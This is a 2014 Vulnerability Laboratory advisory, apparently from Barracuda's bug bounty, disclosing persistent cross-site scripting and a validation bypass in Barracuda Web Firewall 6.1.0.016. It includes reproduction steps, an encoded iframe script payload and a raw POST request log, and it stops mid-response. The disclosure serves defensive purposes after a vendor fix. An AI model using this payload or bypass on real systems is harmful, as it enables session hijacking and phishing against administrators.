Document Title: =============== Barracuda Networks Firewall Bug Bounty #32 - Filter Bypass & Persistent Web Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1069 Barracuda Networks Security ID (BNSEC): BNSEC-2069 Release Date: ============= 2014-02-24 Vulnerability Laboratory ID (VL-ID): ==================================== 1069 Common Vulnerability Scoring System: ==================================== 4 Product & Service Introduction: =============================== The Barracuda Firewall goes beyond traditional network firewalls and UTMs by providing powerful network security, granular layer 7 application controls, user awareness and secure VPN connectivity combined with cloud-based malware protection, content filtering and reporting. It alleviates the performance bottlenecks in Unified Threat Management (UTM) appliances through intelligent integration of on-premise and cloud-based technologies. While the powerful on-premises appliance is optimized for tasks like packet forwarding and routing, Intrusion Prevention (IPS), DNS/DHCP services and site-to-site connectivity; CPU intensive tasks like virus scanning, content filtering and usage reporting benefit from the scalable performance and elasticity of the cloud. (Copy of the Vendor Homepage: https://www.barracuda.com/products/firewall ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple input validation web vulnerabilities in the Barracuda Networks Web Firewall appliance application. Vulnerability Disclosure Timeline: ================================== 2013-09-27: Researcher Notification & Coordination (Ateeq ur Rehman Khan) 2013-09-28: Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program) 2013-10-03: Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program) 2014-02-17: Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ] 2014-02-24: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Barracuda Networks Product: Web Firewall 6.1.0.016 - Models: X100; X200; X300; X400 & X600 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple persistent input validation vulnerabilities and a filter bypass issue has been discovered in the official Barracuda Networks Web Firewall appliance web application. The vulnerability allows remote attackers or local low privileged application user accounts to inject (persistent) own malicious script codes on application-side of the vulnerable module or connected module components. The vulnerability is located in the `Firewall > Firewall Rules > Add Access Rule` module. The vulnerable input fields are `Source` and `Destination` IP Address in the general menu. Remote attackers are able to inject custom malicious script codes to the `Source` and `Destination` input fields as IP. Attackers can also add new access rules into the application or edit the existing ones with their custom injected payloads. To bypass the filter and to be able to save the injected code into the application, attacker needs to create 2 entries. First entry should be the Attackers payload and second entry should be any dummy IP address. Application only performs validation on the active field which is freshly added and ignores the earlier entries thus allowing successful injection of the script code into the application. Exploitation of the persistent bug and filter bypass issue requires a low privileged application user account and low user interaction. Successful exploitation results in session hijacking, persistent phishing, persistent external redirects & persistent manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Application(s): [+] Firewall (WAF) Appliance Application (X300Vx v6.1.0.016) Vulnerable Module(s): [+] Firewall > Firewall Rules > Add Access Rule > General Vulnerable Parameter(s): [+] fw_access_rule_src_net_type [+] fw_access_rule_dst_net_type Proof of Concept (PoC): ======================= The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below. Manual steps to reproduce the vulnerability: 1. Login with the user account to the barracuda networks web firewall appliance application 2. Goto Firewall > Firewall Rules > Add Access Rule > General 3. Fill the name and description with dummy data 4. Goto the IP "Source" input field, Inject the following Payload and click the + button to add. %20"> 5. You should now be able to see a javascript popup proving the existence of this vulnerability. 6. Add another entry and this time, insert a dummy IP and click the + button to add 7. In the IP "Destination" enter the same payload used above. 8. You should again see a javascript popup proving the existence of this vulnerability. 9. Add another entry and this time, insert a dummy IP and click the + button to add 10. Upon clicking save, You should now be able to Save your injected payload without any problems into the application. POC: IP Source: "><[PERSISTENT INJECTED SCRIPT CODE!]><[PERSISTENT INJECTED SCRIPT CODE!]>" type="button"> 127.0.0.2 IP Destination: "><[PERSISTENT INJECTED SCRIPT CODE!]>" type="button"> 127.0.0.5 Reference(s): https://firewall.ptest.localhost:6221/cgi-mod/index.cgi? auth_type=Local&et=1378382541&locale=en_US&password=05e76e9aff6e382822aeb21d3903bcde&realm=&role=&user=guest&primary_tab=FIREWALL&secondary_tab=firewall_access_rules --- PoC Request Session Logs --- #1 Injecting Payload: POST /cgi-mod/index.cgi HTTP/1.1 Host: firewall.ptest.localhost:6221 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/javascript, text/html, application/xml, text/xml, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi? password=10ee36dc6410fdaccebd0de679641b7c&et=1378385983&primary_tab=FIREWALL&new_secondary_tab=firewall_access_rules& auth_type=Local&update_type=add&locale=en_US&secon dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850 Content-Length: 259 Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden %25253Db%2525253A1%255Eo%25253Aid %25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid %25253Dn%2525253A4%25255Ewidth %25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253Dn%2525253A50 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache ajax_action=check_param_ajax_single&name=UPDATE_fw_access_rule_src_inc_single&value=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe %3E&user=guest&password=16847fb7405afa069b908f770f5ea75c&et=1378385995&locale=en_US&auth_type=Local&realm= Response: HTTP/1.1 200 OK Server: BarracudaFirewallHTTP 4.0 Date: Thu, 05 Sep 2013 12:43:37 GMT Content-Type: text/plain; charset=utf-8 Connection: keep-alive Content-Length: 166 [{"action":"error","message":"Illegal value (">